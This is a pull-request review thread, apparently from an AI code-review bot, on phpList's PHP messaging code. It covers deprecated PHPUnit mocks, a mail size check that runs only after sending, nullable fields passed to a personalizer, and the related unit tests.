| ->willReturnOnConsecutiveCalls('Hello World', 'PB'); |
There was a problem hiding this comment.
Update deprecated PHPUnit method.
The withConsecutive method was deprecated in PHPUnit 9.0 and removed in PHPUnit 10. While it still works with PHPUnit 9.5.0, this will break when upgrading.
🔎 Suggested refactor using callback
- $this->html2Text->expects($this->exactly(2))
- ->method('__invoke')
- ->withConsecutive(
- ['Hello <b>World</b>'],
- ['<i>PB</i>']
- )
- ->willReturnOnConsecutiveCalls('Hello World', 'PB');
+ $callCount = 0;
+ $this->html2Text->expects($this->exactly(2))
+ ->method('__invoke')
+ ->willReturnCallback(function ($html) use (&$callCount) {
+ $callCount++;
+ if ($callCount === 1) {
+ $this->assertSame('Hello <b>World</b>', $html);
+ return 'Hello World';
+ }
+ $this->assertSame('<i>PB</i>', $html);
+ return 'PB';
+ });📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| $this->html2Text->expects($this->exactly(2)) | |
| ->method('__invoke') | |
| ->withConsecutive( | |
| ['Hello <b>World</b>'], | |
| ['<i>PB</i>'] | |
| ) | |
| ->willReturnOnConsecutiveCalls('Hello World', 'PB'); | |
| $callCount = 0; | |
| $this->html2Text->expects($this->exactly(2)) | |
| ->method('__invoke') | |
| ->willReturnCallback(function ($html) use (&$callCount) { | |
| $callCount++; | |
| if ($callCount === 1) { | |
| $this->assertSame('Hello <b>World</b>', $html); | |
| return 'Hello World'; | |
| } | |
| $this->assertSame('<i>PB</i>', $html); | |
| return 'PB'; | |
| }); |
🤖 Prompt for AI Agents
In tests/Unit/Domain/Messaging/Service/SystemMailConstructorTest.php around
lines 144-150, replace the deprecated withConsecutive usage with a single
expectation that uses a callback to validate successive arguments and
willReturnOnConsecutiveCalls for returns: set the mock to expect exactly(2)
invocations of __invoke, use ->with($this->callback(…)) where the callback keeps
an internal counter and asserts the incoming argument equals the expected value
for each call (['Hello <b>World</b>', '<i>PB</i>']), and keep
->willReturnOnConsecutiveCalls('Hello World', 'PB') to return the two values in
order.
| $this->externalImageService->expects($this->exactly(2)) | ||
| ->method('cache') | ||
| ->withConsecutive( | ||
| ['https://cdn.other.org/pic.jpg', 111], | ||
| ['https://example.com/local.jpg', 111] | ||
| ) | ||
| ->willReturnOnConsecutiveCalls(true, false); |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Find the TemplateImageEmbedder class implementation
git ls-files | grep -i templateimageembedder | head -20Repository: phpList/core
Length of output: 176
🏁 Script executed:
#!/bin/bash
# Search for the cache method in TemplateImageEmbedder
rg -l 'class TemplateImageEmbedder' --type=phpRepository: phpList/core
Length of output: 176
🏁 Script executed:
#!/bin/bash
# Read the TemplateImageEmbedder implementation
cat -n src/Domain/Messaging/Service/TemplateImageEmbedder.phpRepository: phpList/core
Length of output: 13369
🏁 Script executed:
#!/bin/bash
# Read the test file to understand the test setup and expectations
sed -n '1,130p' tests/Unit/Domain/Messaging/Service/TemplateImageEmbedderTest.phpRepository: phpList/core
Length of output: 5099
Fix mock expectations: cache() should be called only once.
The embedExternalImages() method uses a regex pattern with a negative lookahead (?!https://example.com) to exclude same-host URLs before calling cache(). As a result, cache() will only be called for the external image (line 237 in the implementation), not for the same-host URL. Update the mock to expect exactly one call to cache() with only ['https://cdn.other.org/pic.jpg', 111], and remove the second consecutive call expectation.
🤖 Prompt for AI Agents
In tests/Unit/Domain/Messaging/Service/TemplateImageEmbedderTest.php around
lines 105 to 111, the mock expectation wrongly expects two calls to
externalImageService->cache(); update it to expect exactly one call with the
single argument pair ['https://cdn.other.org/pic.jpg', 111] and return true for
that call, removing the second consecutive expectation for the same-host URL.
7d62a59 to
7f21c58
Compare
There was a problem hiding this comment.
Actionable comments posted: 1
♻️ Duplicate comments (1)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
202-206: Nullablefootermay cause TypeError.
MessagePrecacheDto::footeris?string, butUserPersonalizer::personalize()expects a non-nullable string. Iffooteris null, this throws a TypeError.- $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail()); + $processed->footer = $this->userPersonalizer->personalize($processed->footer ?? '', $subscriber->getEmail());
🧹 Nitpick comments (2)
src/Domain/Messaging/Service/MailSizeChecker.php (1)
36-44: Potential null fromcache->get()after cache miss path.After setting the cache on line 39, line 42 retrieves the value. If the cache fails to store or expires immediately,
cache->get()could returnnull, causing the comparison on line 43 to behave unexpectedly (null <= int evaluates to true in PHP 8).Consider using the calculated
$sizedirectly in the cache-miss branch:🔎 Suggested fix
if (!$this->cache->has($cacheKey)) { $size = $this->calculateEmailSize($email); $this->messageDataManager->setMessageData($campaign, $sizeName, $size); $this->cache->set($cacheKey, $size); + } else { + $size = $this->cache->get($cacheKey); } - $size = $this->cache->get($cacheKey); if ($size <= $this->maxMailSize) { return; }tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (1)
364-370:withConsecutiveis deprecated in PHPUnit 10+ and removed in PHPUnit 11.This project currently uses PHPUnit
^9.5, so no immediate change needed. When upgrading to PHPUnit 10+, consider replacing with a callback matcher orwillReturnOnConsecutiveCalls()combined with argument validation.
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (4)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/MailSizeChecker.phptests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.phptests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow, flag ANY DB write / finalization:
$entityManager->flush(...),$this->entityManager->flush(...)$em->beginTransaction(),$em->commit(),$em->rollback(),$em->transactional(...)$em->getConnection()->executeStatement(...)for DML/DDL (INSERT/UPDATE/DELETE/ALTER/...)✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes. Accessing Doctrine persistence APIs
persist, remove, etc.) is acceptable, allow scheduling changes in the UnitOfWork (no DB writes)✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/MailSizeChecker.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (3)
tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (4)
src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
MessagePrecacheDto(8-31)src/Domain/Messaging/Service/Builder/EmailBuilder.php (1)
EmailBuilder(21-214)src/Domain/Messaging/Service/MailSizeChecker.php (1)
MailSizeChecker(15-78)src/Domain/Messaging/Service/MessageDataLoader.php (1)
MessageDataLoader(14-235)
tests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php (2)
src/Domain/Messaging/Exception/MessageSizeLimitExceededException.php (1)
MessageSizeLimitExceededException(9-31)src/Domain/Messaging/Service/MailSizeChecker.php (2)
MailSizeChecker(15-78)__invoke(29-66)
src/Domain/Messaging/Service/MailSizeChecker.php (3)
src/Domain/Messaging/Exception/MessageSizeLimitExceededException.php (1)
MessageSizeLimitExceededException(9-31)src/Domain/Messaging/Service/Manager/MessageDataManager.php (2)
MessageDataManager(13-96)setMessageData(29-71)src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
__construct(51-72)
🔇 Additional comments (16)
tests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php (5)
18-31: Good test setup with proper mock initialization.The test class is well-structured with clearly defined mock objects and a clean
setUp()method. The intersection types for mocks (EventLogManager&MockObject) are a nice touch for type safety.
54-72: Solid test for the disabled path.Good coverage of the early-return behavior when
maxMailSizeis 0, ensuring no side effects occur.
74-111: Nice coverage of the cache-miss flow.The test correctly verifies that on cache miss, the size is calculated, stored in both
MessageDataand cache, and then retrieved for comparison.
113-147: Good exception path coverage.Properly verifies that when the cached size exceeds the limit, appropriate logging occurs and
MessageSizeLimitExceededExceptionis thrown.
149-170: Clean happy-path test.Verifies that when the cached size is within limits, the method returns normally without logging.
src/Domain/Messaging/Service/MailSizeChecker.php (2)
15-27: Constructor looks good.Clean dependency injection with sensible defaults. The null-coalescing to 0 for
maxMailSizeis a nice defensive pattern.
68-77: Size calculation looks solid.Straightforward approach using
Email::toIterable()to get the serialized representation and summing the lengths.tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (4)
50-101: Test setup updated correctly for new dependencies.The new mocks for
CacheInterface,MailerInterface,UserPersonalizer,EmailBuilder,MessageDataLoader, andMailSizeCheckerare properly wired into the handler. The passthrough behavior foruserPersonalizer->personalize()is sensible for these tests.
103-119: Unchanged test for campaign-not-found case.This test correctly verifies the early exit when no campaign is found.
121-152: Test properly updated for precaching flow.Added the expected
precacheMessagecall and switched to verifysymfonyMailer->sendis never called when no subscribers exist.
194-263: Good DTO-based test for valid subscriber flow.The test correctly sets up the
MessagePrecacheDto, mocks the cache to return it, and verifies the email composition and sending path.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (5)
51-72: Constructor wiring is clean.All new dependencies are properly injected. The handler now has comprehensive control over the email building and sending pipeline.
86-111: Data loading and precaching flow looks correct.The cache key now includes the
forwardContentparameter (hardcoded to 0), addressing the previous cache key mismatch issue. The commented-out legacy code could be removed in a follow-up cleanup.
231-272: Admin notifications implementation is solid.Good defensive handling with the null check on
start_notifiedentries viaUniqueConstraintViolationException. The persistence here is appropriate for the MessageHandler layer per the coding guidelines.
274-308: Subscriber processing loop is well-structured.The null check for
$messagePrecacheDtoon line 301-303 properly handles the cache-miss scenario by throwingMessageCacheMissingException. The time limiter integration and early-continue patterns are clean.
159-166: Send-start timestamp initialization is a nice touch.Good addition to track when the campaign actually started processing. Minor note: you're using
DateTimehere butDateTimeImmutableelsewhere (line 261) - consider consistency, but not blocking.
| try { | ||
| $email = $this->mailer->composeEmail($campaign, $subscriber, $processed); | ||
| $email = $this->rateLimitedCampaignMailer->composeEmail($campaign, $subscriber, $processed); | ||
| $this->mailer->send($email); | ||
| $this->checkMessageSizeOrSuspendCampaign($campaign, $email, $subscriber->hasHtmlEmail()); | ||
| ($this->mailSizeChecker)($campaign, $email, $subscriber->hasHtmlEmail()); | ||
| $this->updateUserMessageStatus($userMessage, UserMessageStatus::Sent); |
There was a problem hiding this comment.
Size check happens after the email is already sent.
The mailSizeChecker is invoked on line 211 after $this->mailer->send($email) on line 210. If the email exceeds the size limit, it's already been dispatched before the exception is thrown.
Move the size check before sending:
🔎 Proposed fix
try {
$email = $this->rateLimitedCampaignMailer->composeEmail($campaign, $subscriber, $processed);
+ ($this->mailSizeChecker)($campaign, $email, $subscriber->hasHtmlEmail());
$this->mailer->send($email);
- ($this->mailSizeChecker)($campaign, $email, $subscriber->hasHtmlEmail());
$this->updateUserMessageStatus($userMessage, UserMessageStatus::Sent);🤖 Prompt for AI Agents
In src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
around lines 208 to 212, the mailSizeChecker is invoked after
$this->mailer->send($email) so oversized messages are sent before the check
throws; move the call to ($this->mailSizeChecker)($campaign, $email,
$subscriber->hasHtmlEmail()) to immediately after composing the email and before
$this->mailer->send($email) so the size check can prevent sending, and ensure
$this->updateUserMessageStatus($userMessage, UserMessageStatus::Sent) remains
after a successful send.
There was a problem hiding this comment.
Actionable comments posted: 0
♻️ Duplicate comments (2)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (2)
209-211: Critical: Mail size check executes after email is already sent.The
mailSizeCheckeris invoked on line 211 after$this->mailer->send($email)on line 210. If the email exceeds the configured size limit, it will have already been dispatched before the exception is thrown. This defeats the purpose of the size check.🔎 Proposed fix: Move size check before send
try { $email = $this->rateLimitedCampaignMailer->composeEmail($campaign, $subscriber, $processed); + ($this->mailSizeChecker)($campaign, $email, $subscriber->hasHtmlEmail()); $this->mailer->send($email); - ($this->mailSizeChecker)($campaign, $email, $subscriber->hasHtmlEmail()); $this->updateUserMessageStatus($userMessage, UserMessageStatus::Sent);
202-206: Critical: Nullable fields passed to personalize() require non-null string.Lines 202-206 pass
$processed->textContentand$processed->footertopersonalize(), but both fields are declared as?stringinMessagePrecacheDto(see lines 7-30 of MessagePrecacheDto.php). TheUserPersonalizer::personalize()method signature expects a non-nullablestring $valueparameter (noted in past review comments). If either field is null, this will throw aTypeError.🔎 Proposed fix using null-coalescing operator
- $processed->textContent = $this->userPersonalizer->personalize( - $processed->textContent, - $subscriber->getEmail(), - ); - $processed->footer = $this->userPersonalizer->personalize($processed->footer, $subscriber->getEmail()); + $processed->textContent = $this->userPersonalizer->personalize( + $processed->textContent ?? '', + $subscriber->getEmail(), + ); + $processed->footer = $this->userPersonalizer->personalize($processed->footer ?? '', $subscriber->getEmail());Alternatively, add null checks before calling
personalize()if empty strings aren't the desired fallback.
🧹 Nitpick comments (1)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (1)
86-105: Consider removing large commented code blocks.Lines 86-105 and 120-139 contain significant blocks of commented-out legacy code. If this code is no longer needed, removing it would improve readability. If it might be needed for reference, consider documenting why it's commented or moving it to a separate doc/ADR.
Also applies to: 120-139
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (6)
config/services/messenger.ymlconfig/services/services.ymlsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.phpsrc/Domain/Messaging/Service/MailSizeChecker.phptests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.phptests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php
💤 Files with no reviewable changes (1)
- config/services/messenger.yml
🧰 Additional context used
📓 Path-based instructions (2)
src/Domain/**
⚙️ CodeRabbit configuration file
src/Domain/**: You are reviewing PHP domain-layer code. Enforce domain purity, with a relaxed policy for DynamicListAttr:
❌ Do not allow, flag ANY DB write / finalization:
$entityManager->flush(...),$this->entityManager->flush(...)$em->beginTransaction(),$em->commit(),$em->rollback(),$em->transactional(...)$em->getConnection()->executeStatement(...)for DML/DDL (INSERT/UPDATE/DELETE/ALTER/...)✅ Accessing Doctrine metadata, schema manager, or read-only schema info is acceptable
as long as it does not modify state or perform writes. Accessing Doctrine persistence APIs
persist, remove, etc.) is acceptable, allow scheduling changes in the UnitOfWork (no DB writes)✅ Relaxed rule for DynamicListAttr-related code:
- DynamicListAttr is a special case dealing with dynamic tables/attrs.
- It is acceptable for DynamicListAttr repositories/services to:
- Create/update/drop DynamicListAttr tables/columns.
- Use Doctrine persistence APIs (
persist,remove,flush, etc.)
as part of managing DynamicListAttr data and schema.- Do not flag persistence or schema-creation calls that are clearly scoped
to DynamicListAttr tables or their management.- Still prefer keeping this logic well-encapsulated (e.g. in dedicated services/repos),
not scattered across unrelated domain objects.
⚠️ For non-DynamicListAttr code:
- If code is invoking actual table-creation, DDL execution, or schema synchronization,
then request moving that to the Infrastructure or Application layer (e.g. MessageHandler).- Repositories in Domain should be abstractions without side effects; they should express intent,
not perform flush/transactional logic.
Files:
src/Domain/Messaging/Service/MailSizeChecker.phpsrc/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
src/**/MessageHandler/**
⚙️ CodeRabbit configuration file
src/**/MessageHandler/**: Background jobs/workers may perform persistence and schema management.
- ✅ Allow
$entityManager->flush()when the job is the orchestration boundary.- ✅ Allow table creation, migration, or schema synchronization (e.g. via Doctrine SchemaTool or SchemaManager),
as this is considered infrastructure-level orchestration.- For DynamicListAttr-related jobs, it is fine to orchestrate both data and schema changes here,
as long as responsibilities remain clear and behavior is predictable.- Verify idempotency for schema operations where practical — e.g., check if a table exists before creating.
- Ensure domain-layer code invoked by the job (outside the DynamicListAttr exception) remains free of persistence calls.
- Batch flush operations where practical.
Files:
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php
🧬 Code graph analysis (2)
src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (10)
src/Domain/Messaging/Model/Message/MessageMetadata.php (1)
setSendStart(127-131)src/Domain/Messaging/Model/Dto/MessagePrecacheDto.php (1)
MessagePrecacheDto(8-31)src/Domain/Messaging/Repository/MessageRepository.php (1)
MessageRepository(16-119)src/Domain/Messaging/Service/Builder/EmailBuilder.php (2)
EmailBuilder(21-214)buildPhplistEmail(40-77)src/Domain/Messaging/Service/MailSizeChecker.php (1)
MailSizeChecker(15-78)src/Domain/Messaging/Service/MessageDataLoader.php (1)
MessageDataLoader(14-235)src/Domain/Messaging/Service/MessagePrecacheService.php (1)
MessagePrecacheService(22-241)src/Domain/Messaging/Service/MessageProcessingPreparator.php (1)
MessageProcessingPreparator(15-101)src/Domain/Messaging/Service/RateLimitedCampaignMailer.php (3)
RateLimitedCampaignMailer(14-56)composeEmail(24-45)send(50-55)src/Domain/Subscription/Service/Provider/SubscriberProvider.php (1)
SubscriberProvider(12-45)
tests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php (2)
src/Domain/Messaging/Exception/MessageSizeLimitExceededException.php (1)
MessageSizeLimitExceededException(9-31)src/Domain/Messaging/Service/MailSizeChecker.php (2)
MailSizeChecker(15-78)__invoke(29-66)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (2)
- GitHub Check: phpList on PHP 8.1 [Build, Test]
- GitHub Check: phpList on PHP 8.1 [Build, Test]
🔇 Additional comments (12)
tests/Unit/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandlerTest.php (3)
68-78: Smart test setup for personalization.The mock ensures
personalizereturns the input unchanged, which preserves link-replacement assertions in downstream tests. This is a solid testing pattern.
80-100: Constructor wiring updated correctly.All new dependencies (symfonyMailer, cache, userPersonalizer, messageDataLoader, emailBuilder, mailSizeChecker, messageEnvelope) are properly mocked and wired into the handler. The test setup aligns with the broader DTO-based precaching workflow.
197-250: MessagePrecacheDto usage validated thoroughly.The test creates a proper DTO, retrieves it from cache, passes it through
processMessageLinks, and validates it reachescomposeEmail. The callback assertions confirm the DTO flows correctly through the processing pipeline.config/services/services.yml (1)
137-141: MailSizeChecker service wiring looks good.The service definition properly autowires dependencies and binds the
maxMailSizeparameter to the configuration value. This follows the existing service definition patterns in the file.tests/Unit/Domain/Messaging/Service/MailSizeCheckerTest.php (2)
54-111: Comprehensive test coverage for cache miss scenario.The test validates the full flow: cache miss triggers size calculation, stores result in both MessageData and cache, and completes without exception when size is within limit. The callback-based assertions are well-structured.
113-147: Exception path properly tested.The test confirms that oversized messages trigger warning logs, event logs (exactly 2), and throw
MessageSizeLimitExceededException. This validates the size-enforcement behavior.src/Domain/Messaging/Service/MailSizeChecker.php (3)
29-45: Cache-backed size check implemented correctly.The logic properly handles disabled checks (maxMailSize <= 0), cache misses (calculate + store), and within-limit cases (early return). The cache key includes both campaign ID and size type (html/text), ensuring proper isolation.
47-66: Size limit enforcement with comprehensive logging.When size exceeds the limit, the code logs a warning, records two event-log entries for observability, and throws an exception to halt processing. This provides good visibility into size-related suspensions.
68-77: Email size calculation uses MIME iteration.Calculating size via
email->toIterable()measures the actual serialized MIME content, which is the correct approach for enforcing wire-format size limits.src/Domain/Messaging/MessageHandler/CampaignProcessorMessageHandler.php (3)
161-163: SendStart timestamp initialization looks good.Setting
SendStartwhen transitioning toInProcess(if not already set) ensures campaigns have a proper start timestamp. This aligns well with the message lifecycle.
231-272: Admin notification flow implemented correctly.The method properly checks for
notify_startandstart_notified, builds emails with null-checking, constructs envelopes, sends notifications, and persists thestart_notifiedmarker with duplicate-handling viaUniqueConstraintViolationException. The logic is sound.
300-303: Cache retrieval includes proper null check.Retrieving the precached DTO from cache now includes a null check and throws
MessageCacheMissingExceptionif missing. This addresses the concern from past reviews about cache misses.
Summary by CodeRabbit
New Features
Improvements / Bug Fixes
Tests
✏️ Tip: You can customize this high-level summary in your review settings.
Thanks for contributing to phpList!